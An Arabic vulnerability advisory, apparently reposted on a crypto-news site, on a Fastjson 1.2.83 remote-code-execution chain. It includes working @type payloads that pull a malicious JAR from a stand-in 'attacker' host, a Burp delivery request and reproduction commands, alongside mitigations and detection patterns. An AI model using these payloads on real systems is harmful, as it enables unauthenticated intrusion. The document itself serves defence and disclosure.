تحليل عميق وإرشادات دفاعية حول ثغرة Fastjson 1.2.83 "خالية من الأدوات" (0day)
تستمر Fastjson 1.2.83 في تفعيل تنفيذ التعليمات البرمجية عن بُعد دون الحاجة إلى أدوات تقليدية تحت إعداد AutoType=false الافتراضي، وقد تم إعادة إنتاجها في بيئة معزولة باستخدام JDK 8/17/21/25 + Spring Boot Loader.
ملخص
في نظام الدفاع التقليدي ضد ثغرات تسلسل Java، هناك اعتقادات شائعة في الصناعة مثل: "إيقاف AutoType افتراضيًا يجعلها آمنة"، و"تحديد المعامل الثاني لـ parseObject (نوع الهدف العلوي) يجعلها آمنة"، و"تفريغ الاعتماد على أدوات تسلسل Gadget المحلية يجعلها آمنة". ومع ذلك، فإن التطورات الأخيرة في الهجمات والدفاعات قد كسرت هذه المعتقدات.
أصدرت GCSA، التحالف العالمي للأمن السيبراني، تقريرًا حصريًا عن هذه التقنية. يستعرض التقرير بعمق كيف أن Fastjson 1.2.83، حتى في حالة AutoType=false الافتراضية، لا تزال قادرة على تفعيل تنفيذ التعليمات البرمجية عن بُعد (RCE) دون الاعتماد على أدوات تقليدية. وقد تم إعادة إنتاج هذه التقنية بنجاح في بيئات معزولة باستخدام JDK 8 / 17 / 21 / 25 وSpring Boot Loader. هذه الثغرة ليست تقليدية، حيث لا تتطلب "تجاوز القائمة السوداء للبحث عن أدوات محلية"، بل تعكس منطق اكتشاف بيانات التعريف الخاصة بـ Fastjson إلى قناة للحصول على وتصريح فئات ضارة عن بُعد. فيما يلي النص الكامل
- الجهة المصدرة: GCSA التحالف العالمي للأمن السيبراني
- نوع التقرير: تحليل تقني حصري / تقرير تحليل عميق للثغرة
- تاريخ التقرير: 2026-07-21
- حالة التقرير: تم الانتهاء من تدقيق الشيفرة المصدرية وإعادة الإنتاج في بيئة معزولة
- رقم الثغرة: رقم البحث الداخلي FJ-GETRESOURCE-RCE (لا يتوافق مع CVE المنشور)
تستمر Fastjson 1.2.83 في تفعيل تنفيذ التعليمات البرمجية عن بُعد دون الحاجة إلى أدوات تقليدية تحت إعداد AutoType=false الافتراضي. يُوصى بتمكين SafeMode على الفور والترحيل إلى Fastjson 2.x.
- ملخص التنفيذ
ستقوم ParserConfig.checkAutoType في Fastjson 1.2.83 بتحويل قيمة @type القابلة للتحكم من قبل المستخدم إلى اسم مورد الفئة، وتسليمها إلى getResourceAsStream لمحمّل الفئات الحالي:
String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
في بيئة ClassLoader fat-jar القادرة على تحليل أسماء الموارد المطلقة، يمكن للمهاجم استغلال استبدال النقاط لبناء http:، jar:http: وjar:file: URL، لتنزيل فئة ضارة تحمل @JSONType من الطرف المهاجم. عند اكتشاف Fastjson لهذه التعليمة، ستقوم باستدعاء loadClass، وستعيد الفئة مباشرة قبل التحقق من الفئات الأساسية الخطرة وتوافق نوع الهدف. سيتم تنفيذ أي كود عند تهيئة الفئة.
لا تعتمد هذه الاستغلالات على أدوات تسلسل تقليدية موجودة في مسار الفئات المستهدفة، ولا تزال قادرة على التفعيل في حالة Fastjson AutoType=false الافتراضية. لا يمكن لتحديد نوع الهدف لـ JSON.parseObject منع التنفيذ؛ يمكن أن يمنع تفعيل SafeMode المسار العادي للاستغلال قبل الوصول إلى الموارد.
استخدم هذا التقرير نفس الحمولة JSON في حاوية Linux المعزولة لإكمال إعادة الإنتاج التالية:
- تصنيف الثغرة
لا يُنصح بإعطاء CVSS موحد 9.8 فقط بناءً على إصدار المكون: يعتبر AppClassLoader العادي مجموعة تحكم سلبية، وسلسلة JDK الحديثة الكاملة تعتمد أيضًا على محمّل قادر على تحليل نوعين من URL JAR المطلقة و/proc/self/fd. في التطبيقات التي تلبي بيئة التقرير هذه، تكون تأثير الثغرة هو RCE الشبكي غير المعتمد.
- نطاق التأثير والشروط المسبقة
3.1 النطاق المؤكد
- التأكيد أثناء التشغيل: Fastjson 1.2.83
- تأكيد JDK: 8، 17، 21، 25
- تأكيد نظام التشغيل: Linux؛ أكملت macOS أيضًا إعادة الإنتاج باستخدام /dev/fd لـ JDK 17/21/25
- تأكيد المحمّل: Spring Boot 2.7.18 محمّل كلاسيكي + JDK 8؛ Spring Boot 3.2.0 محمّل + JDK 17/21/25
- تأكيد API: JSON.parse، وJSON.parseObject مع نوع علوي ثابت
3.2 ملاحظات نطاق الإصدار
تعتبر 1.2.68--1.2.83 في الوصف الخارجي أكثر ملاءمة كنطاق اختبار معروف، بدلاً من إصدار إدخال الثغرة. تشير مراجعة الشيفرة المصدرية إلى أن كود اكتشاف موارد الفئة الحاسم موجود بالفعل في 1.2.67 و1.2.68. هذا التقرير قد أكمل فقط التحقق الكامل عبر وقت تشغيل JDK لـ 1.2.83.
3.3 شروط الاستغلال المطلوبة
- يجب أن يكون المهاجم قادرًا على التحكم في JSON المدخل إلى Fastjson، ويجب تحليل @type في المدخل
- لم يتم تفعيل SafeMode
- يجب أن يكون ClassLoader الذي يحمل Fastjson قادرًا على تحليل اسم المورد المطلق الذي تم بناؤه إلى URL
- يجب أن تكون العملية الضحية قادرة على الاتصال بخدمة HTTP الخاصة بالهجوم
- تتطلب سلسلة Linux الحديثة أن تكون /proc/self/fd قابلة للقراءة، ويجب أن يكون المحمّل قادرًا على تحليل jar:file:/proc/self/fd/N!...
- يحتاج JDK إلى القدرة على إنشاء ذاكرة تخزين مؤقت مؤقتة لـ JAR عن بُعد بشكل طبيعي؛ وهذا يعني عادةً أن دليل JVM المؤقت قابل للكتابة
لا يحتاج المهاجم إلى:
- كتابة ملفات إلى مسار الفئات المستهدفة
- أن تكون أدوات مثل TemplatesImpl، JNDI، C3P0، Commons Collections مثبتة مسبقًا في مسار الفئات المستهدفة
- تفعيل Fastjson AutoType
- التحكم في المعامل الثاني لـ JSON.parseObject
- تحليل السبب الجذري
4.1 اسم نوع المستخدم يُعتبر URL مورد
موقع الشيفرة:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498
الكود الأساسي:
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
تفترض هذه المنطق أن المورد هو مجرد مسار عادي في مسار الفئات، لكنها لا تقيد بروتوكولها أو دلالات المسار المطلق أو مصدرها. بالنسبة لمحمّل fat-jar المحدد، ستتحول المدخلات التالية بعد الاستبدال إلى URL مطلق:
اسم نوع المدخل: http:..localhost:18081.a
اسم المورد: http://localhost:18081/a.class وبالتالي يتجاوز getResourceAsStream من استعلام البيانات الوصفية المحلية إلى تحميل موارد الشبكة القابلة للتحكم من قبل المهاجم.
4.2 يتم اعتبار @JSONType لفئة بعيدة كمرجع تفويض
تستخدم Fastjson قارئ الفئات الخاص بها ASM لتحليل محتوى الموارد:
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
كل ما يحتاجه الطرف المهاجم هو جعل الفئة البعيدة تحمل تعليمة @JSONType الخاصة بـ Fastjson، مما يجعل jsonType تساوي true. هنا يتم التحقق من البايتات المقدمة من المهاجم، وليس من فئة تم تحميلها بالفعل من مسار فئات موثوق.
4.3 jsonType يؤدي إلى تحميل الفئة الفعلية
موقع الشيفرة:
ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass يحاول بالتتابع استخدام محملات صريحة، محملات سياق الخيط، و Class.forName. في بيئة إيجابية، سيقوم محمل سياق الخيط بإعادة تحليل نفس اسم المورد المطلق، تحميل الفئة وتنفيذ defineClass.
4.4 @JSONType يعود مبكرًا لتجاوز الفحوصات الأمنية اللاحقة
موقع المصدر:
ParserConfig.java:1505-1528
if (clazz != null) {
if (jsonType) {
return clazz; } // يتم تنفيذ هذه الفحوصات بعد إرجاع jsonType.
if (ClassLoader.class.isAssignableFrom(clazz)
|| DataSource.class.isAssignableFrom(clazz)
|| RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException(...); } if (expectClass != null) {
// يتم أيضًا إجراء فحص القابلية للتعيين لاحقًا.
}
}
بمجرد أن تحمل الفئة البعيدة @JSONType:
- لن يتم تنفيذ فحص الفئة الأساسية الخطرة
- expectClass.isAssignableFrom(clazz) لن يتم تنفيذه
- لا يمكن لنوع الربط الثابت منع التنفيذ قبل تهيئة الفئة
4.5 فشل تشكيل قناة ناعمة بسبب Exception/Error
موقع المصدر:
ParserConfig.java:1537-1542
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null; }
throw new JSONException("autoType لا يدعم. " + typeName); }
المرحلة الأولى من JDK الحديثة ستفشل في تحميل أسماء الفئات الداخلية غير القانونية. بعد أن ينتهي اسم النوع بـ Exception، لن يتوقف Fastjson عن معالجة JSON بالكامل، بل سيعيد null، مما يسمح للمحلل بمواصلة معالجة عناصر FD في المصفوفة. هذه الفرع هو المفتاح لتنفيذ الحمولة الواحدة عبر المراحل.
4.6 موقع SafeMode
توجد فحوصات SafeMode قبل الوصول إلى الموارد:
ParserConfig.java:1325-1330
لذا فإن SafeMode في المسار الافتراضي يمكنه منع الطلبات الشبكية. ومع ذلك، فإن AutoTypeCheckHandler يقع قبل SafeMode (ParserConfig.java:1316-1323)؛ إذا قامت التطبيق بتسجيل معالج يعيد نوعًا مباشرة، يجب تدقيقه بشكل منفصل، ولا يمكن اعتبار SafeMode كحدود مطلقة تغطي المعالج المخصص.
- تحليل سلسلة الاستخدام
5.1 JDK 8: تحميل الفئة البعيدة مباشرة
أقصر شكل:
{"@type":"http:..localhost:18081.a"}
سلسلة التحويل:
اسم النوع الثنائي: http:..localhost:18081.a
رابط المورد: http://localhost:18081/a.class
اسم الفئة الداخلية: http://localhost:18081/a
JDK 8 يقبل أسماء الفئات الداخلية غير التقليدية المذكورة أعلاه. يقوم LaunchedURLClassLoader في Spring Boot 2.7 بتحميل الفئة بعد تعريفها، وتثبيتها، وتهيئتها، مما يؤدي إلى تنفيذ أوامر خبيثة
JDK 17+ سيكمل أيضًا الطلبات الشبكية، لكنه يرفض الأجزاء الفارغة في أسماء الداخلية.
ClassFormatError: Illegal class name "http://localhost:18081/a"
لذا فإن الشكل القصير http:.. يتم تنفيذه فقط في JDK 8.
5.2 المرحلة الأولى من JDK الحديثة: تحميل JAR البعيد
أول عنصر في مصفوفة الحمولة:
{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}
نتيجة التحويل:
رابط المورد:
jar:http://attacker:18081/x!/foo/Exception.class
ستقوم sun.net.www.protocol.jar.URLJarFile.retrieve بإنشاء ملفات مؤقتة jar_cache*، ونسخ JAR البعيد إلى هذا الملف.
JDK 17+ سيرفض بعد ذلك أسماء jar:http://... الداخلية في المرحلة الأولى، لكن Fastjson سيواصل تحليل المصفوفة بسبب لاحقة Exception.
5.3 المرحلة الثانية من JDK الحديثة: إعادة فتح FD المخزن
عناصر المرشحة اللاحقة:
{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}
سلسلة التحويل:
اسم النوع الثنائي:
jar:file:.proc.self.fd.7!.fd7.Exception
رابط المورد:
jar:file:/proc/self/fd/7!/fd7/Exception.class
اسم الفئة الداخلية:
jar:file:/proc/self/fd/7!/fd7/Exception
على عكس http://، كل مكون مفصول ب / في هذا الاسم الداخلي ليس فارغًا، لذا تقبله JVM الحديثة. تم إعداد مدخل في JAR الهجومي لكل FD مرشح:
fd3/Exception.class
fd4/Exception.class
...
fd64/Exception.class
كل اسم داخلي في مجموعة الثوابت لكل فئة يتطابق بدقة مع نوع الطلب المقابل FD، ويحمل @JSONType. بعد الوصول إلى مقبض التخزين الفعلي، يقوم Fastjson بتحميل وتثبيت هذه الفئة، وتنفيذ أوامر
تظهر السجلات الخاصة بتحميل الفئة في JDK 17 أن أول نجاح هو:
jar:file:.proc.self.fd.7!.fd7.Exception
5.4 لماذا تتوافق حمولة واحدة مع JDK 8 و JDK الحديثة
JDK 8 يقبل مباشرة أسماء الفئات jar:http://... في المرحلة الأولى وينفذها.
بعد تنفيذ أوامر المرحلة الأولى، يتم عمدًا إلقاء RuntimeException("stage-one-stop")، مما يمنع JDK 8 من الاستمرار في محاولة FD غير ذات الصلة.
JDK 17+ سيفشل بسبب الأسماء غير القانونية في المرحلة الأولى قبل تهيئة الفئة، ثم يدخل مرحلة تعداد FD عبر العودة الناعمة Exception.
- بيئة التكرار والأدلة
6.1 تجزئة المكونات المختبرة
fastjson-1.2.83.jar
SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d
spring-boot-loader-2.7.18.jar
SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16
spring-boot-loader-3.2.0.jar
SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b
6.2 تكرار بنقرة واحدة
cd
PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh
الإخراج المتوقع:
JDK 8 : RCE-OK
JDK 17: RCE-OK
JDK 21: RCE-OK
JDK 25: RCE-OK
سيقوم السكربت:
- تجميع ضحية fat jar؛
- إنشاء JAR هجوم يحتوي على فئة FD مخصصة؛
- إنشاء مصفوفة JSON payload؛
- بدء خدمة HTTP لهجوم في شبكة Docker المعزولة؛
- بدء حاويات JDK 8/17/21/25 الضحية؛
- التحقق من كل حاوية عن /tmp/fastjson-getresource-rce.
6.3 إنشاء JAR هجوم و payload يدويًا
cd
--host attacker \
--port 18081 \
--fd-root /proc/self/fd \
--min-fd 3 \
--max-fd 64 \
--out-jar target/getresource-repro/www-linux/x \
--out-json target/getresource-repro/fd-payload-linux.json
المخرجات:
Attacker JAR: target/getresource-repro/www-linux/x
JSON payload: target/getresource-repro/fd-payload-linux.json
--host يُفضل استخدام علامة DNS بدون نقاط أو IPv4 عشري. السبب ليس لتجاوز localhost، بل لأن Fastjson سيحول جميع النقاط في أسماء الأنواع إلى / . على سبيل المثال، IPv42130706433 يعادل 127.0.0.1، ولكن لن يتم استبداله بالنقاط.
6.4 التسليم عبر Burp Suite
Burp مسؤولة فقط عن إرسال JSON إلى واجهة الضحية التي تحتوي على نقطة تحليل Fastjson؛ لا يزال يجب توفير JAR الهجوم من قبل خدمة HTTP للهجوم.
نموذج الطلب:
POST /parse HTTP/1.1
Host: victim.example
Content-Type: application/json
Connection: close
Content-Length: ... [ضع المحتويات الكاملة لـ fd-payload-linux.json هنا.]
إذا كانت التطبيق تستخدم نوع أعلى ثابت، يمكن تغليف المصفوفة بناءً على هيكل الحقول، على سبيل المثال:
{"value":[/* جميع عناصر المصفوفة في fd-payload-linux.json */]}
تستخدم هذه التجربة JSON.parseObject(json, BoundEnvelope.class) لتحليل التغليف أعلاه، والنتيجة لا تزال RCE-OK، وتعود BoundEnvelope بشكل طبيعي.
6.5 اختبار الحدود الحاسمة
- إصلاحات وتوصيات التخفيف
7.1 الأفضل: الانتقال من Fastjson 1.x
الأفضل الانتقال إلى Fastjson 2.x المدعوم، وإعادة التحقق من جميع الأنواع المتعددة، AutoType وإعدادات وضع التوافق. لا تقم فقط باستبدال JAR دون إجراء اختبارات عكسية.
7.2 تفعيل SafeMode على الفور
إعداد الكود:
ParserConfig.getGlobalInstance().setSafeMode(true);
معلمات JVM:
-Dfastjson.parser.safeMode=true
ملاحظة: إذا كانت التطبيق قد سجلت AutoTypeCheckHandler، يجب تدقيقها أو إزالتها، لأن المعالج يتم تنفيذه قبل فحص SafeMode.
7.3 تقييد نقاط الدخول للـ deserialization
- لا تسلم الطلبات غير الموثوقة مباشرة إلى JSON.parse/JSON.parseObject
- ارفض أي شكل من أشكال بيانات التعريف الخاصة في البوابة أو نقطة دخول التطبيق
- الأنواع العليا الثابتة في Java ليست دفاعًا كافيًا، لأن الكائنات المتداخلة لا تزال يمكن أن تعالج @type، وأن ثغرة jsonType تعود مبكرًا لتجاوز فحص التوافق
7.4 قواعد مؤقتة لـ WAF/البوابة
اعترض مؤقتًا الطلبات التي يكون مفتاح JSON بعد فك تشفيره يساوي @type، وقم بتغطية معلمات URL، جسم الطلب والكائنات المتداخلة. لا يمكن البحث فقط عن النص العادي "@type"، لأن محلل Fastjson سيقوم أولاً بفك تشفير أسماء الحقول، على سبيل المثال:
{"\u0040type":"..."}
{"\x40type":"..."}
قواعد WAF يمكن أن تكون مجرد تخفيف، ولا يمكن أن تحل محل ترقية المكونات وSafeMode.
7.5 تقوية الشبكة والتشغيل
- منع JVM الأعمال من إجراء اتصالات HTTP/HTTPS إلى عناوين خارجية غير ضرورية.
- تنفيذ سياسة شبكة الحد الأدنى على حاويات التطبيق.
- عند السماح بالتوافق، تقييد تعرض /proc/self/fd أو استخدام حاويات أكثر صرامة.
- تدقيق معالجة ClassLoader لأسماء الموارد المطلقة، ورفض أشكال البروتوكول مثل http:، https:، jar:، file:، إلخ.
- مراقبة الأنشطة غير العادية في الدليل المؤقت لـ JVM jar_cache*.
- توصيات الكشف و IOC
8.1 ميزات جانب الطلب
ركز على القيم @type المفككة التي تحتوي على:
http:..
jar:http:..
jar:file:.proc.self.fd.
jar:file:.dev.fd.
!.fd
استثناء
ظهور استثناء بمفرده ليس كافيًا لإصدار إنذار، يجب ربطه مع شكل البروتوكول، @type وتحليل مستمر لمجموعات FD.
8.2 ميزات جانب الشبكة
- JVM يطلب JAR أو .class بدون امتداد من مضيف غير عادي
- ظهور 1--3 مرات من GET/HEAD مكرر خلال نفس طلب التحليل
- قد يظهر في مسار الطلب /x، /a.class أو مسارات مكافئة مخصصة من المهاجم
8.3 ميزات جانب المضيف
- إنشاء jar_cache* في الدليل المؤقت لـ JVM
- عملية Java تعيد فتح ملفها من خلال /proc/self/fd/N
- ظهور سجلات تحميل الفئة مثل jar:file:.proc.self.fd.7!.fd7.Exception
jar:file:.proc.self.fd.7!.fd7.Exception
- الاستنتاج
هذه الثغرة ليست "تجاوز قائمة سوداء ثم البحث عن أدوات محلية" تقليدية، بل حولت منطق اكتشاف بيانات التعريف لفئة Fastjson نفسها إلى قناة للحصول على فئة عن بُعد وتفويض. @JSONType يعود مبكرًا مما يجعل الفئة المقدمة من المهاجم مقبولة قبل فحص الأساسيات الخطيرة وعمليات الربط النوعية؛ فشل الاستثناء وقناة التخفيف المؤقتة لـ JDK jar:http: وسعت تحميل الجملة المباشرة لـ JDK 8 إلى JDK 17/21/25.
لذا فإن الأحكام الشائعة التالية غير صحيحة:
- "AutoType مغلقة بشكل افتراضي، لذا فهي آمنة" --- غير صحيحة
- "تثبيت parseObject كمعامل ثاني، لذا فهي آمنة" --- غير صحيحة
- "classpath لا يحتوي على أدوات معروفة، لذا فهي آمنة" --- غير صحيحة
- "JKD 17+ سيرفض الأسماء الداخلية http://، لذا فهي مجرد SSRF" --- غير صحيحة
في التوزيعات التي تلبي شروط المحمل، الشبكة ووصف الملفات، يمكن أن تتطور هذه المشكلة من طلب JSON غير مصدق واحد إلى تنفيذ كود عن بُعد حقيقي. يجب أن يتم الانتقال إلى Fastjson 2.x على الفور، وتفعيل SafeMode، وتضييق حدود الشبكة وتحليل موارد ClassLoader.
- المرفقات ومسارات الأدلة
سجل البحث الكامل: target/FASTJSON_1_2_83_RCE_ANALYSIS.md
تعليمات الاستنساخ: target/getresource-repro/README.md
سلسلة قصيرة JDK 8: target/getresource-repro/reproduce.sh
سلسلة كاملة JDK 8/17/21/25 Linux: target/getresource-repro/reproduce_fd_chain.sh
مولد JAR/حمولة الهجوم: target/getresource-repro/build_fd_chain.py
الحمولة التي تم إنشاؤها على Linux: target/getresource-repro/fd-payload-linux.json
دليل تحميل الفئة JDK 17: target/getresource-repro/linux-jdk17-classload.log
إخلاء مسؤولية: يُقدَّم هذا المحتوى لأغراض الترويج العام والمعلومات فقط، ولا يُعدّ نصيحة مالية أو استثمارية أو قانونية أو ضريبية. لا تُعتبر أي أحداث أو مكافآت أو فعاليات عبر الإنترنت أو معلومات ذات صلة مذكورة هنا توصيةً أو دعوةً لشراء أو بيع أو تداول أو التعامل بأي شكل من الأشكال في أي أصول مشفرة أو استخدام أي خدمات. الأصول المشفرة شديدة التقلب وقد تؤدي إلى الخسارة. قد لا تتوفر خدمات WEEX وفعالياتها عبر الإنترنت في جميع المناطق، وتخضع للقوانين واللوائح وشروط الأهلية المعمول بها. أنت مسؤول عن ضمان توافق استخدامك لخدمات WEEX مع القوانين المحلية، وعن تقييم المخاطر بعناية قبل المشاركة في أي أنشطة متعلقة بالعملات المشفرة.
قد يعجبك أيضاً

الأسهم المرمزة تستعد للانطلاق، لكن البنية التحتية للأسواق التقليدية تواجه اختبارًا صارمًا

فك شفرة موجة التحكيم عبر الأسواق لشركة SK Hynix: احتفال بنقل الأموال عبر سوق الأسهم الأمريكية والكورية وسوق العملات المشفرة

Pendle تكشف عن خارطة طريق النصف الثاني: تعزيز RWA وسوق المؤسسات، وBoros ستركز على مشتقات أسعار الفائدة على السلسلة

لماذا تختار الشركات الكورية هونغ كونغ كوجهة لدخول سوق الأصول الحقيقية

5 منصات رائدة للقروض المدعومة بالبيتكوين في 2026

تراجع احتياطيات الإيثريوم على المنصات، لكن الطلب يتأخر في اللحاق بالركب

ETF العملات المشفرة: إيثريوم تتفوق على بيتكوين و بلاك روك تحقق النجاح

مقارنة الأوراق البيضاء بين إيثريوم و BNB (2026)

مؤسس Primitive Ventures: في عصر الذكاء الاصطناعي، أولئك الذين "اختفوا"

فضيحة تداول الأبواب الدوارة: من الذي يصمم مشروع قانون العملة المستقرة الأمريكية لـ Tether؟

صحيفة نيويورك تايمز: هل يكره المؤسسون بعضهم البعض؟ معركة Kalshi وPolymarket أكثر شراسة مما نتخيل

إقامة مسابقة الذكاء الاصطناعي بقيمة 10,000 دولار من ذا ساند بوكس وآني موكا براندز في هونغ كونغ

مدفوعات الوكالة من منظور فيزا

البنك المركزي الأوروبي يتوقع "توقفًا صقريًا" الليلة، ولكن باب رفع أسعار الفائدة في الخريف لا يزال مفتوحًا

اقتراب إطلاق الشبكة الرئيسية: نظرة شاملة على نظام Arc البيئي من Circle

من الإصدار إلى العائدات: تحليل منجم الذهب المخفي في سوق العملات المستقرة بقيمة تريليون دولار

الاستثمار التالي في الذكاء الاصطناعي هو العملات المشفرة، كما تشير فرانكلين تمبلتون

تراجع أرباح المستثمرين الأفراد، توقعات السوق تشهد سباق تسلح في الذكاء الاصطناعي

بنك BancaStato السويسري يطلق تداول البيتكوين من خلال Sygnum و Avaloq

بيتكوين: مستوى الاحتفاظ على المدى الطويل يصل إلى أعلى مستوى تاريخي

عمال أكبر مصنع كيميائي في أوكرانيا يهددون بالإضراب بسبب متأخرات رواتب لمدة ثلاث سنوات

IBM تخفض توقعات الإيرادات السنوية، هل لا يزال بإمكانها تسعير التدفقات النقدية المستقرة؟

هل عادت BTC إلى 66,000 دولار، هل يعني ذلك أنها خرجت من القاع؟

زيادة الطلب على تأمين السيارات بنسبة 100-200% في ظل القصف الأوكراني

أزمة الممرات المزدوجة تقترب، والأسواق تواجه صدمات الطاقة وضغوط السندات طويلة الأجل

شركة Glassnode تجري تحقيقًا بسبب مخاوف من تسرب البيانات وتحذر العملاء من مخاطر الاحتيال عبر البريد الإلكتروني

ارتفاع مساحة خادم CPU بسبب وكلاء الذكاء الاصطناعي، ورؤوس الأموال تتجه بعيدًا عن الأسهم التكنولوجية

عصر ووش في الاحتياطي الفيدرالي صعب التنبؤ!

تقدم حركة لابز بطلب إفلاس بسبب انهيار عملة MOVE







